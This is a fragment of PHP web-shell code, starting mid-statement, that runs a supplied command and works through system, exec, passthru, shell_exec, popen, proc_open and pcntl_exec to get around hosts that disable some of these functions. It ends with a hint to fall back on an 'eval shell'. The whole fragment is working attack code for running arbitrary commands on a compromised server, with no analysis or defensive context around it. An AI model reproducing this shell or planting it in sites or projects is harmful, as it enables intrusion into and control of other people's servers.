"; // Try all possible execution functions if(function_exists('system')) { system($cmd.' 2>&1'); } elseif(function_exists('exec')) { echo exec($cmd.' 2>&1'); } elseif(function_exists('passthru')) { passthru($cmd.' 2>&1'); } elseif(function_exists('shell_exec')) { echo shell_exec($cmd.' 2>&1'); } elseif(function_exists('popen')) { $f=popen($cmd.' 2>&1','r'); while(!feof($f)){echo fread($f,4096);} pclose($f); } elseif(function_exists('proc_open')) { $p=proc_open($cmd,[['pipe','r'],['pipe','w'],['pipe','w']],$pipes); echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); } elseif(function_exists('pcntl_exec')) { pcntl_exec('/bin/sh',['-c',$cmd]); } else { echo "All execution functions disabled. Use eval shell."; } echo ""; } ?>